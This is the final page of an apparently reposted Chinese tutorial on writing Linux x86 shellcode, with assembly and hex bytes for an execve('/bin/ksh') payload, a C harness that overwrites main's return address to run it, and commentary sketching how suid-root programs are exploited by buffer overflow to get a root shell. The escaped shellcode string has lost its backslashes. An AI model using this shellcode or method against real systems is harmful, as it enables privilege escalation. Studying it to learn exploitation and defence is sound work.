Linux下的shellcode书写 |
|
字号: 小 大 |
# 2 bytes leal 0x9(%esi),%ecx # 3 bytes leal 0xd(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string "/bin/ksh" # 9 bytes # 48 bytes total "); } 80483ca: c9 leave 80483cb: c3 ret 80483cc: 90 nop
整理shellcode如下:
eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3
20. 验证最后调整得到的shellcode
vi shelltest.c
char shellcode[] = "xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b" "x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxffx2fx62x69x6ex2fx6bx73x68x00xc9xc3";
int main () { int * ret; /* 当前esp指向的地址保存ret的值 */
ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */ ( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */ }
[scz@ /home/scz/src]> gcc -o shelltest shelltest.c [scz@ /home/scz/src]> ./shelltest $ exit [scz@ /home/scz/src]>
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-) 这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题。 你可以根据自己的需要,编写出自己的shellcode来。
★ 我对shellcode以及这篇文章的看法
1. 你是从DOS年代过来的吗?
如果答案肯定,我就不多说了,因为上面通篇实际上并没有超出当年我们 在DOS游戏汇编的范畴,毕竟Linux跑在Intel x86架构上。当发生far call的 时候,cs:ip对被压栈,先是ip后是cs,现在想起来为什么上面的介绍那么地 似曾相识了吧。int发生的时候不过多压了个flag而已。那么far jmp就更不 用多说。回忆,再回忆,回忆那些当年我们为之付出心血的DOS下的汇编语言。 ret、iret、int 3、int 21、int 1,TSR,你还能想起什么尘封了的往事。
通过修改堆栈中的返回地址将程序流程引导到别处,曾经是dos下的家常便饭, 为了防止中断向量被修改,宁可远程call远程跳转也不愿意使用int指令,编写 自己的debug程序,利用int 1的单步,难道你没有修改过堆栈中的返回地址? 为了嵌入那些当前编译器不支持的机器码,用db直接插入机器码。为了提高某些 关键代码的执行效率,使用嵌入式汇编,难道你从来没有看过.s文件?
不再回忆,DOS已是昨天。
2. 关于文章中的一些技术说明
原文是用/bin/sh的,我为了从头实际演练一番,用了/bin/ksh,你要是 乐意可以使用任意的shell。其次,可能是原文有误,要么是翻译中书写错误, 反正是有那么几处错误,我都一一调整过来了。原文是用gdb那样获得完整的 shellcode的,而我昨天刚刚介绍了objdump的使用,所以也可以利用objdump 获得shellcode,上文中已经多次给出了完整的命令。
最后的shelltest,我给加上了注释,因为你可能看到最后没有理解shellcode 如何被执行的。因为c编译器给main()函数前后都加了启动结束代码,main() 函数也是被调用的,也有自己的返回地址,所以程序中修改main()的返回地址 使得shellcode被执行。所以,你不能在main()函数的最后调用exit(0)。因为 函数的形式参数先于返回地址压栈,所以即使成了 int main ( int argc, char * argv[] ) 也不影响返回地址的修改。
定义ret局部变量就意味着esp已经获得,必须明确理解这一点。
这里仅仅介绍了如何写自己的shellcode,并没有介绍缓冲区溢出本身。 简单说两句。从纯粹的攻击角度而言,首先要寻找那些suid/sgid的属主 是root的应用程序,然后判断该应用程序是否可能发生缓冲区溢出,继而 抢在应用程序结束之前嵌入自己的shellcode,因为应用程序结束之前一般 而言还处在suid状态,那么此时执行的shellcode也就具有了suid特性, 于是拥有root权限的shell展现在你的眼前,还等什么?关于缓冲区溢出 本身回头再经典回放,力争做到通俗易懂,可以照猫画老虎,今天不提它了,:-)
3. 如何写Sun工作站上的shellcode?
建议去绿色兵团的Unix系统安全论坛学习这方面的知识,tt目前坐镇那里, 倒是展开了不少技术讨论,你可以只看不吭声,嘿嘿。 不过,只要稍微花点时间看看answer book中关于Sun工作站上的汇编那一 部分,原理是一致的,而且GNU工具也不是没有,如果你一定喜欢gdb而不是 dbx的话,faint
我是没有Sun工作站可以用了,否则今天就以它为例子来演习,可惜。
★ 后记
最后再次向aleph1致敬,感谢tt为我们大家翻译整理了它。 要是多一些这样的朋友,系统安全一定可以得到实质性提高。 BTW,讨厌听别人说,怎么怎么黑了谁谁。
来源:中国网络安全联盟(http://www.chinansl.com/cindex.asp)上一页 [1] [2] [3] |
|
|
| 收藏此文 | 打印 |
|
|